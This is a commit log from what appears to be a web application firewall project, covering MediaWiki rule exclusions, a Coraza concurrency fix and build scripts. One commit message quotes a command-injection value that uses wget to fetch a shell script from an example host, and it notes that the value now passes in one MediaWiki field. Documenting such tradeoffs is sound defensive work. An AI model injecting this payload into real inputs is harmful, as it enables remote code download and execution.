sneak/smallwebwaf
1
0 Fork 0
Code Issues 22 Pull Requests 6 Actions 1 Packages Projects Releases Wiki Activity
114 Commits 10 Branches 2 Tags
981cf98656c6a00820decee35e0b14ec63939507
Commit Graph
5 Commits
This Branch
This Branch
All Branches
Author SHA1 Message Date
sneak 981cf98656 Core Rule Set: MediaWiki's log, generator and watchlist fields pass (closes #258)
check / check (push) Failing after 1m30s
Details 
On /api.php, letitle and the generator fields gapto, gapprefix, gaifrom,
gaiprefix and geuquery skip 930120, 932120, 932250 and 932260, as the
fields they stand in for do.

On MediaWiki's pages, wpTitles from Special:EditWatchlist/raw, one title
per line, also skips 932125, 932230, 932235 and 932380, which read a title
at the start of a line as a command. "; wget http://example.com/x.sh"
passes in wpTitles as a result; $(...) and /bin/sh are still refused.

Recorded from MediaWiki 1.46.2 at the digest the first MediaWiki change
used.

Model: opus-5-5
 2026-11-10 00:53:45 +00:00
sneak c0313f7b27 Coraza: use the commit that keeps exclusions per request (closes #254)
check / check (push) Successful in 5m27s
Details 
Coraza v3.8.1 shares a rule's ctl:ruleRemoveTargetById exclusions
between concurrent requests, so one request can be checked with
another's. Coraza's main fixed it in its pull request 1745; no release
carries it yet, so go.mod names commit d028be399c68 by its
pseudo-version.

Model: opus-5-5
 2026-11-09 21:00:08 +00:00
sneak 35dfd1f5e0 Core Rule Set: test concurrent requests keep their own exclusions
check / check (push) Failing after 2m41s
Details 
A Drupal and a WordPress request are inspected at once, many times
over, on one Core Rule Set. Coraza v3.8.1 shares each rule's
exclusions between requests, so the test fails under -race.

Model: opus-5-5
 2026-11-09 20:59:45 +00:00
sneak f6435b1a73 Add make publish: build the image on the Docker host and push it to the registry
check / check (push) Successful in 3m23s
Details 
`script/publish` runs `script/docker` against the Docker host and pushes the image to the registry under four tags: the UTC date, the short commit hash, the branch name and `latest`. It refuses a working tree with uncommitted changes, since the hash tag names a commit.

Also carries sneak's `golines -m 77` line wrapping in three files, with no code change.

Unverified: a real build on the Docker host and a real push from this commit.
Deviation: sneak's FIXME comments are out, because the linter refuses them; they are #227, #228 and #229.

Model: opus-5-5
Co-authored-by: sneak <sneak@sneak.berlin>
 2026-11-09 02:03:39 +01:00
sneak a0d2c21346 Add README, SPEC and tool evaluation, closes #1 
Initial documents: what smallwebwaf is and why, the proposed feature list, the design spec with the rule file format and the open design questions, and the survey of existing tools.

Model: fable-5-1
 2026-09-21 07:42:45 +00:00